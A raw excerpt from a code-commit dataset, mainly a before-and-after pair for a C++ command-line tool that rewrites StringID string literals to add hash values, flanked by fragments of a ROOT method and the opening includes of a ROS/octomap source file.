TMethod::Update(MethodInfo_t *info)\n{\n if (TFunction::Update(info)) {\n delete fGetterMethod; fGetterMethod = 0;\n delete fSetterMethod; fSetterMethod = 0;\n if (fInfo) {\n SetMenuItem(gCling->MethodInfo_Title(fInfo));\n }\n return kTRUE;\n } else {\n return kFALSE;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Application.hpp\"\n\n#include \"StringIDImpl.hpp\"\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\n#include <regex>\n\n#include \"File.hpp\"\n\n#include <stdio.h>\n#include <windows.h>\n#include <algorithm>\n\nstatic const char* g_help =\n\"-help Display this help and do nothing\\n\"\n\"-project Name of the project (default=\\\"StringIDProj\\\"\\n\"\n\"-gui Launch GUI application\\n\"\n\"-sources List folders to search (=\\\"C:\/Folder1;..\/Folder2\\\")\\n\"\n\"-destination Destination root folder where to copy results.\\n\"\n\" If empty, modifications will be in place\\n\"\n\"-excludedFolders List folders to exclude (=\\\"C:\/Folder1;..\/Folder2\\\")\\n\"\n\"-excludedSources List sources to exclude (=\\\"path1;path2\\\")\\n\"\n\"-extensions List extensions to parse (default=\\\".cpp;.h;.hh;.inl\\\")\\n\"\n\"-clean Will not use cache infos, will re-parse all files\\n\"\n\"-verbose Show detailed diagnostic information for debugging\\n\"\n\"-saveForUndo Will keep a save of modified files in project's file\\n\"\n\"-undo Used in association with -project will undo last generation\\n\"\n\"-summary Display a detailed summary\\n\";\n\nApplication::Application()\n\t:\n\t_projectName(\"StringIDProj\"),\n\t_guiEnabled(false),\n\t_destination(\"\"),\n\t_clean(false),\n\t_verbose(false),\n\t_saveforundo(false),\n\t_undo(false),\n\t_displaySummary(false),\n\t_inPlace(false)\n{\n}\n\nApplication::~Application()\n{\n}\n\nbool Application::init(int argc, char *argv[])\n{\n\tfor (int i = 1; i < argc; ++i)\n\t{\n\t\tstd::string arg = argv[i];\n\n\t\tif (arg.empty())\n\t\t\tcontinue;\n\n\t\tif (arg[0] == '-')\n\t\t{\n\t\t\tif (arg == \"-help\")\n\t\t\t{\n\t\t\t\tstd::cout << g_help << std::endl;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-project\")\n\t\t\t{\n\t\t\t\tint projectPathIndex = i + 1;\n\t\t\t\tif (projectPathIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t\tstd::cerr << \"Project path missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t_projectName = argv[projectPathIndex];\n\t\t\t\t++i;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-gui\")\n\t\t\t{\n\t\t\t\t_guiEnabled = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-sources\")\n\t\t\t{\n\t\t\t\tint sourcesIndex = i + 1;\n\t\t\t\tif (sourcesIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string source = argv[sourcesIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_sources.push_back(CleanPath(MakePathAbsolute(source)) + \"\/\");\n\t\t\t\t\t++sourcesIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (sourcesIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[sourcesIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_sources.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = sourcesIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-destination\")\n\t\t\t{\n\t\t\t\tint destIndex = i + 1;\n\t\t\t\tif (destIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Destination missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\targ = argv[destIndex];\n\t\t\t\tif (arg.empty() || arg[0] == '-')\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Destination missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\t_destination = CleanPath(MakePathAbsolute(arg));\n\t\t\t\t++i;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-excludedFolders\")\n\t\t\t{\n\t\t\t\tint excludedFoldersIndex = i + 1;\n\t\t\t\tif (excludedFoldersIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded folders missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[excludedFoldersIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_excludedFolders.push_back(CleanPath(MakePathAbsolute(source)));\n\t\t\t\t\t++excludedFoldersIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (excludedFoldersIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[excludedFoldersIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_excludedFolders.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded folders missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = excludedFoldersIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-excludedSources\")\n\t\t\t{\n\t\t\t\tint excludedSourcesIndex = i + 1;\n\t\t\t\tif (excludedSourcesIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[excludedSourcesIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_excludedSources.push_back(CleanPath(MakePathAbsolute(source)));\n\t\t\t\t\t++excludedSourcesIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (excludedSourcesIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[excludedSourcesIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_excludedSources.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = excludedSourcesIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-extensions\")\n\t\t\t{\n\t\t\t\tint extIndex = i + 1;\n\t\t\t\tif (extIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Extensions missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[extIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_extensions.push_back(source);\n\t\t\t\t\t++extIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (extIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[extIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_extensions.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Extensions missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = extIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-clean\")\n\t\t\t{\n\t\t\t\t_clean = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-verbose\")\n\t\t\t{\n\t\t\t\t_verbose = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-saveForUndo\")\n\t\t\t{\n\t\t\t\t_saveforundo = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-undo\")\n\t\t\t{\n\t\t\t\t_undo = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-summary\")\n\t\t\t{\n\t\t\t\t_displaySummary = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (_extensions.empty())\n\t{\n\t\t_extensions.push_back(\"h\");\n\t\t_extensions.push_back(\"cpp\");\n\t\t_extensions.push_back(\"hpp\");\n\t\t_extensions.push_back(\"inl\");\n\t}\n\tif (_sources.empty())\n\t{\n\t\tstd::cerr << \"Sources missing\\n\";\n\t\treturn false;\n\t\t\/\/ERROR\n\t}\n\n\tif (_destination.empty())\n\t{\n\t\t_inPlace = true;\n\t}\n\n\t_currentDirectory = GetCurrentDirectory();\n\n\treturn true;\n}\n\n\/*\nRegexp :\n\nStringID(\"String\") :\n[\\\\s+|\\\\t|\\\\n|\\\\r]StringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[)]\n\n\\bStringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[)]{1}\n\\\\bStringID\\\\s*[(]{1}\\\\s*[\\\"]{1}.+[\\\"]{1}\\\\s*[)]{1}\n\nStringID(\"String\", 0x123) :\n(\\\\s+|\\\\t|\\\\n|\\\\r)StringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[,]{1}\\s*(0x\\d+|\\d+)\\s*[)]{1}\n\nStringID(0x123) :\n(\\\\s+|\\\\t|\\\\n|\\\\r)StringID\\s*[(]{1}\\s*(0x\\d+|\\d+)\\s*[)]{1}\n\nFor test :\nStringID(\"StringA\")\nStringID( \"StringB\" )\nStringID (\"StringC\")\nStringID (\"StringD\")\nStringID ( \"StringE\")\nStringID( \" StringF \" )\n StringID ( \"StringG\" )\nTotoStringID ( \"StringH\" )\n TotoStringID ( \"StringI\" )\n*\/\n\ntemplate< typename T >\nstd::string IntToHex(T i)\n{\n\tstd::stringstream stream;\n\tstream << \"0x\"\n\t\t<< std::setfill('0') << std::setw(sizeof(T) * 2)\n\t\t<< std::hex << i;\n\treturn stream.str();\n}\n\nvoid Application::treatFile(const FileInfo &fileInfo)\n{\n\tstd::ifstream file(fileInfo.absPath.c_str());\n\n\tstd::ofstream output(std::string(_destination + fileInfo.absPath + \".sid\").c_str());\n\n\tstd::string line;\n\tstd::size_t counter = 0;\n\t\n\t\/*\n\t1 : crap\n\t2 : str\n\t*\/\n\tstd::regex regStringOnly (\"(.*?)\\\\bStringID\\\\s*[(]{1}\\\\s*[\\\"]{1}(.+?)[\\\"]{1}\\\\s*[)]{1}\");\n\t\/*\n\t1 : Crap\n\t2 : str\n\t3 : 0x123\n\t*\/\n\tstd::regex regStringAndHash(\"(.*?)\\\\bStringID\\\\s*[(]{1}\\\\s*\\\"(.+?)\\\"\\\\s*,\\\\s*(0x[\\\\d|a-f]+|[\\\\d|a-f]+)\\\\s*[)]{1}\");\n\tstd::match_results<std::string::const_iterator> match;\n\t\n\twhile (std::getline(file, line))\n\t{\n\t\tstd::istringstream iss(line);\n\n\t\tline += \"\\n\";\n\n\t\tif (line.find(\"StringID\") != std::string::npos)\n\t\t{\n\t\t\tstd::string lineCopy = line;\n\t\t\tline.clear();\n\n\t\t\tauto flags = std::regex_constants::match_default | std::regex_constants::format_first_only | std::regex_constants::format_no_copy;\n\t\t\tbool pass = false;\n\n\t\t\t\/\/ We search for already hashed strings like StringID(\"Literal\", 0x123);\n\t\t\t\/\/ We check if the hash is up to date, if not we re-generate it\n\t\t\t\/\/ We also register the hash if not already in db cache to check for collisions\n\t\t\twhile (std::regex_search(lineCopy, match, regStringAndHash, flags))\n\t\t\t{\n\t\t\t\tauto &str = match[2].str();\n\t\t\t\tauto &h = match[3].str();\n\t\t\t\tStringIDType id = strtoll(h.c_str(), nullptr, 16);\n\t\t\t\tStringID sid = StringID(str);\n\n\t\t\t\tif (sid.getId() != id)\n\t\t\t\t{\n\t\t\t\t\tstd::string replacer = \"$1StringID(\\\"$2\\\", \";\n\t\t\t\t\treplacer += IntToHex(sid.getId());\n\t\t\t\t\treplacer += \")\";\n\t\t\t\t\tline += std::regex_replace(lineCopy, regStringAndHash, replacer, flags);\n\t\t\t\t\tpass = true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tline = lineCopy;\n\t\t\t\t}\n\t\t\t\tlineCopy = match.suffix().str();\n\t\t\t}\n\t\t\tif (pass)\n\t\t\t{\n\t\t\t\tline += lineCopy;\n\t\t\t}\n\n\t\t\tif (!line.empty())\n\t\t\t\tlineCopy = line;\n\t\t\tline.clear();\n\t\t\tpass = false;\n\n\t\t\t\/\/ We search for StringID(\"Literal\");\n\t\t\t\/\/ And generate ID for it\n\t\t\twhile (std::regex_search(lineCopy, match, regStringOnly, flags))\n\t\t\t{\n\t\t\t\tstd::string replacer = \"$1StringID(\\\"$2\\\", \";\n\t\t\t\tauto &str = match[2].str();\n\t\t\t\treplacer += IntToHex(StringID(str).getId());\n\t\t\t\treplacer += \")\";\n\t\t\t\tline += std::regex_replace(lineCopy, regStringOnly, replacer, flags);\n\t\t\t\tlineCopy = match.suffix().str();\n\t\t\t\tpass = true;\n\t\t\t}\n\t\t\tif (pass)\n\t\t\t{\n\t\t\t\tline += lineCopy;\n\t\t\t}\n\n\t\t\tif (line.empty())\n\t\t\t{\n\t\t\t\tline = lineCopy;\n\t\t\t}\n\t\t}\n\t\toutput << line;\n\t}\n\n}\n\nvoid Application::run()\n{\n\n\tif (_guiEnabled)\n\t{\n\t\t\/\/_initGui();\n\t}\n\n\tstd::vector<FileInfo> infos;\n\tFileFilter filter;\n\tfilter._extensions = _extensions;\n\tfilter._excludedPath = _excludedSources;\n\tfilter._excludedDir = _excludedFolders;\n\tfilter._minimumWriteTime = 0;\n\tfor (auto &source : _sources)\n\t{\n\t\tSearchFiles(\/*\"D:\\Epic Games\/\"*\/ source \/*\"..\/Tests\/\"*\/, &filter, infos);\n\t\t\n\t\t\/\/ we set relative path\n\t\tfor (auto &res : infos)\n\t\t{\n\t\t\tres.relPath = res.absPath;\n\t\t\tres.relPath.erase(0, source.size());\n\t\t}\n\t}\n\tfor (auto &s : infos)\n\t{\n\t\ttreatFile(s);\n\t}\n\n}<commit_msg>Small fix<commit_after>#include \"Application.hpp\"\n\n#include \"StringIDImpl.hpp\"\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\n#include <regex>\n\n#include \"File.hpp\"\n\n#include <stdio.h>\n#include <windows.h>\n#include <algorithm>\n\nstatic const char* g_help =\n\"-help Display this help and do nothing\\n\"\n\"-project Name of the project (default=\\\"StringIDProj\\\"\\n\"\n\"-gui Launch GUI application\\n\"\n\"-sources List folders to search (=\\\"C:\/Folder1;..\/Folder2\\\")\\n\"\n\"-destination Destination root folder where to copy results.\\n\"\n\" If empty, modifications will be in place\\n\"\n\"-excludedFolders List folders to exclude (=\\\"C:\/Folder1;..\/Folder2\\\")\\n\"\n\"-excludedSources List sources to exclude (=\\\"path1;path2\\\")\\n\"\n\"-extensions List extensions to parse (default=\\\".cpp;.h;.hh;.inl\\\")\\n\"\n\"-clean Will not use cache infos, will re-parse all files\\n\"\n\"-verbose Show detailed diagnostic information for debugging\\n\"\n\"-saveForUndo Will keep a save of modified files in project's file\\n\"\n\"-undo Used in association with -project will undo last generation\\n\"\n\"-summary Display a detailed summary\\n\";\n\nApplication::Application()\n\t:\n\t_projectName(\"StringIDProj\"),\n\t_guiEnabled(false),\n\t_destination(\"\"),\n\t_clean(false),\n\t_verbose(false),\n\t_saveforundo(false),\n\t_undo(false),\n\t_displaySummary(false),\n\t_inPlace(false)\n{\n}\n\nApplication::~Application()\n{\n}\n\nbool Application::init(int argc, char *argv[])\n{\n\tfor (int i = 1; i < argc; ++i)\n\t{\n\t\tstd::string arg = argv[i];\n\n\t\tif (arg.empty())\n\t\t\tcontinue;\n\n\t\tif (arg[0] == '-')\n\t\t{\n\t\t\tif (arg == \"-help\")\n\t\t\t{\n\t\t\t\tstd::cout << g_help << std::endl;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-project\")\n\t\t\t{\n\t\t\t\tint projectPathIndex = i + 1;\n\t\t\t\tif (projectPathIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t\tstd::cerr << \"Project path missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t_projectName = argv[projectPathIndex];\n\t\t\t\t++i;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-gui\")\n\t\t\t{\n\t\t\t\t_guiEnabled = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-sources\")\n\t\t\t{\n\t\t\t\tint sourcesIndex = i + 1;\n\t\t\t\tif (sourcesIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string source = argv[sourcesIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_sources.push_back(CleanPath(MakePathAbsolute(source)) + \"\/\");\n\t\t\t\t\t++sourcesIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (sourcesIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[sourcesIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_sources.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = sourcesIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-destination\")\n\t\t\t{\n\t\t\t\tint destIndex = i + 1;\n\t\t\t\tif (destIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Destination missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\targ = argv[destIndex];\n\t\t\t\tif (arg.empty() || arg[0] == '-')\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Destination missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\t_destination = CleanPath(MakePathAbsolute(arg));\n\t\t\t\t++i;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-excludedFolders\")\n\t\t\t{\n\t\t\t\tint excludedFoldersIndex = i + 1;\n\t\t\t\tif (excludedFoldersIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded folders missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[excludedFoldersIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_excludedFolders.push_back(CleanPath(MakePathAbsolute(source)));\n\t\t\t\t\t++excludedFoldersIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (excludedFoldersIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[excludedFoldersIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_excludedFolders.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded folders missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = excludedFoldersIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-excludedSources\")\n\t\t\t{\n\t\t\t\tint excludedSourcesIndex = i + 1;\n\t\t\t\tif (excludedSourcesIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[excludedSourcesIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_excludedSources.push_back(CleanPath(MakePathAbsolute(source)));\n\t\t\t\t\t++excludedSourcesIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (excludedSourcesIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[excludedSourcesIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_excludedSources.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Excluded sources missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = excludedSourcesIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-extensions\")\n\t\t\t{\n\t\t\t\tint extIndex = i + 1;\n\t\t\t\tif (extIndex >= argc)\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Extensions missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\n\t\t\t\tstd::string source = argv[extIndex];\n\t\t\t\twhile (source.empty() == false && source[0] != '-')\n\t\t\t\t{\n\t\t\t\t\t_extensions.push_back(source);\n\t\t\t\t\t++extIndex;\n\t\t\t\t\tsource = \"\";\n\t\t\t\t\tif (extIndex < argc)\n\t\t\t\t\t{\n\t\t\t\t\t\tsource = argv[extIndex];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (_extensions.empty())\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Extensions missing\\n\";\n\t\t\t\t\treturn false;\n\t\t\t\t\t\/\/ERROR\n\t\t\t\t}\n\t\t\t\ti = extIndex - 1;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-clean\")\n\t\t\t{\n\t\t\t\t_clean = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-verbose\")\n\t\t\t{\n\t\t\t\t_verbose = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-saveForUndo\")\n\t\t\t{\n\t\t\t\t_saveforundo = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-undo\")\n\t\t\t{\n\t\t\t\t_undo = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (arg == \"-summary\")\n\t\t\t{\n\t\t\t\t_displaySummary = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (_extensions.empty())\n\t{\n\t\t_extensions.push_back(\"h\");\n\t\t_extensions.push_back(\"cpp\");\n\t\t_extensions.push_back(\"hpp\");\n\t\t_extensions.push_back(\"inl\");\n\t}\n\tif (_sources.empty())\n\t{\n\t\tstd::cerr << \"Sources missing\\n\";\n\t\treturn false;\n\t\t\/\/ERROR\n\t}\n\n\tif (_destination.empty())\n\t{\n\t\t_inPlace = true;\n\t}\n\n\t_currentDirectory = GetCurrentDirectory();\n\n\treturn true;\n}\n\n\/*\nRegexp :\n\nStringID(\"String\") :\n[\\\\s+|\\\\t|\\\\n|\\\\r]StringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[)]\n\n\\bStringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[)]{1}\n\\\\bStringID\\\\s*[(]{1}\\\\s*[\\\"]{1}.+[\\\"]{1}\\\\s*[)]{1}\n\nStringID(\"String\", 0x123) :\n(\\\\s+|\\\\t|\\\\n|\\\\r)StringID\\s*[(]{1}\\s*[\"]{1}.+[\"]{1}\\s*[,]{1}\\s*(0x\\d+|\\d+)\\s*[)]{1}\n\nStringID(0x123) :\n(\\\\s+|\\\\t|\\\\n|\\\\r)StringID\\s*[(]{1}\\s*(0x\\d+|\\d+)\\s*[)]{1}\n\nFor test :\nStringID(\"StringA\")\nStringID( \"StringB\" )\nStringID (\"StringC\")\nStringID (\"StringD\")\nStringID ( \"StringE\")\nStringID( \" StringF \" )\n StringID ( \"StringG\" )\nTotoStringID ( \"StringH\" )\n TotoStringID ( \"StringI\" )\n*\/\n\ntemplate< typename T >\nstd::string IntToHex(T i)\n{\n\tstd::stringstream stream;\n\tstream << \"0x\"\n\t\t<< std::setfill('0') << std::setw(sizeof(T) * 2)\n\t\t<< std::hex << i;\n\treturn stream.str();\n}\n\nvoid Application::treatFile(const FileInfo &fileInfo)\n{\n\tstd::ifstream file(fileInfo.absPath.c_str());\n\n\tstd::ofstream output(std::string(_destination + fileInfo.absPath + \".sid\").c_str());\n\n\tstd::string line;\n\tstd::size_t counter = 0;\n\t\n\t\/*\n\t1 : crap StringID(\"\n\t2 : str\n\t*\/\n\tstd::regex regStringOnly (\"(.*?\\\\bStringID\\\\s*[(]{1}\\\\s*[\\\"]{1})(.+?)[\\\"]{1}\\\\s*[)]{1}\");\n\t\/*\n\t1 : Crap StringID\n\t2 : str\n\t3 : , \n\t4 : 0x123\n\t*\/\n\tstd::regex regStringAndHash(\"(.*?\\\\bStringID\\\\s*[(]{1}\\\\s*\\\")(.+?)(\\\"\\\\s*,\\\\s*)(0x[\\\\d|a-f]+|[\\\\d|a-f]+)\\\\s*[)]{1}\");\n\tstd::match_results<std::string::const_iterator> match;\n\t\n\twhile (std::getline(file, line))\n\t{\n\t\tstd::istringstream iss(line);\n\n\t\tline += \"\\n\";\n\n\t\tif (line.find(\"StringID\") != std::string::npos)\n\t\t{\n\t\t\tstd::string lineCopy = line;\n\t\t\tline.clear();\n\n\t\t\tauto flags = std::regex_constants::match_default | std::regex_constants::format_first_only | std::regex_constants::format_no_copy;\n\t\t\tbool pass = false;\n\n\t\t\t\/\/ We search for already hashed strings like StringID(\"Literal\", 0x123);\n\t\t\t\/\/ We check if the hash is up to date, if not we re-generate it\n\t\t\t\/\/ We also register the hash if not already in db cache to check for collisions\n\t\t\twhile (std::regex_search(lineCopy, match, regStringAndHash, flags))\n\t\t\t{\n\t\t\t\tauto &str = match[2].str();\n\t\t\t\tauto &h = match[4].str();\n\t\t\t\tStringIDType id = strtoll(h.c_str(), nullptr, 16);\n\t\t\t\tStringID sid = StringID(str);\n\n\t\t\t\tif (sid.getId() != id)\n\t\t\t\t{\n\t\t\t\t\tstd::string replacer = \"$1$2\\\", \";\n\t\t\t\t\treplacer += IntToHex(sid.getId());\n\t\t\t\t\treplacer += \")\";\n\t\t\t\t\tline += std::regex_replace(lineCopy, regStringAndHash, replacer, flags);\n\t\t\t\t\tpass = true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tline = lineCopy;\n\t\t\t\t}\n\t\t\t\tlineCopy = match.suffix().str();\n\t\t\t}\n\t\t\tif (pass)\n\t\t\t{\n\t\t\t\tline += lineCopy;\n\t\t\t}\n\n\t\t\tif (!line.empty())\n\t\t\t\tlineCopy = line;\n\t\t\tline.clear();\n\t\t\tpass = false;\n\n\t\t\t\/\/ We search for StringID(\"Literal\");\n\t\t\t\/\/ And generate ID for it\n\t\t\twhile (std::regex_search(lineCopy, match, regStringOnly, flags))\n\t\t\t{\n\t\t\t\tstd::string replacer = \"$1$2\\\", \";\n\t\t\t\tauto &str = match[2].str();\n\t\t\t\treplacer += IntToHex(StringID(str).getId());\n\t\t\t\treplacer += \")\";\n\t\t\t\tline += std::regex_replace(lineCopy, regStringOnly, replacer, flags);\n\t\t\t\tlineCopy = match.suffix().str();\n\t\t\t\tpass = true;\n\t\t\t}\n\t\t\tif (pass)\n\t\t\t{\n\t\t\t\tline += lineCopy;\n\t\t\t}\n\n\t\t\tif (line.empty())\n\t\t\t{\n\t\t\t\tline = lineCopy;\n\t\t\t}\n\t\t}\n\t\toutput << line;\n\t}\n\n}\n\nvoid Application::run()\n{\n\n\tif (_guiEnabled)\n\t{\n\t\t\/\/_initGui();\n\t}\n\n\tstd::vector<FileInfo> infos;\n\tFileFilter filter;\n\tfilter._extensions = _extensions;\n\tfilter._excludedPath = _excludedSources;\n\tfilter._excludedDir = _excludedFolders;\n\tfilter._minimumWriteTime = 0;\n\tfor (auto &source : _sources)\n\t{\n\t\tSearchFiles(\/*\"D:\\Epic Games\/\"*\/ source \/*\"..\/Tests\/\"*\/, &filter, infos);\n\t\t\n\t\t\/\/ we set relative path\n\t\tfor (auto &res : infos)\n\t\t{\n\t\t\tres.relPath = res.absPath;\n\t\t\tres.relPath.erase(0, source.size());\n\t\t}\n\t}\n\tfor (auto &s : infos)\n\t{\n\t\ttreatFile(s);\n\t}\n\n}<|endoftext|>"} {"text":"<commit_before>#include <ros\/ros.h> \n#include <geometry_msgs\/Twist.h> \n#include <sensor_msgs\/PointCloud2.h>\n#include <sensor_msgs\/PointCloud.h>\n#include <sensor_msgs\/point_cloud_conversion.h>\n#include <tf\/transform_listener.h>\n#include <octomap\/octomap.h>\n#include <octomap\/OcTree.h>\n#include <octomap_msgs\/Octomap.h>\n#include <octomap_msgs\/conversions.h>\n#include <geometry_msgs\/PointStamped.h>\n\n#include <string>\n#include 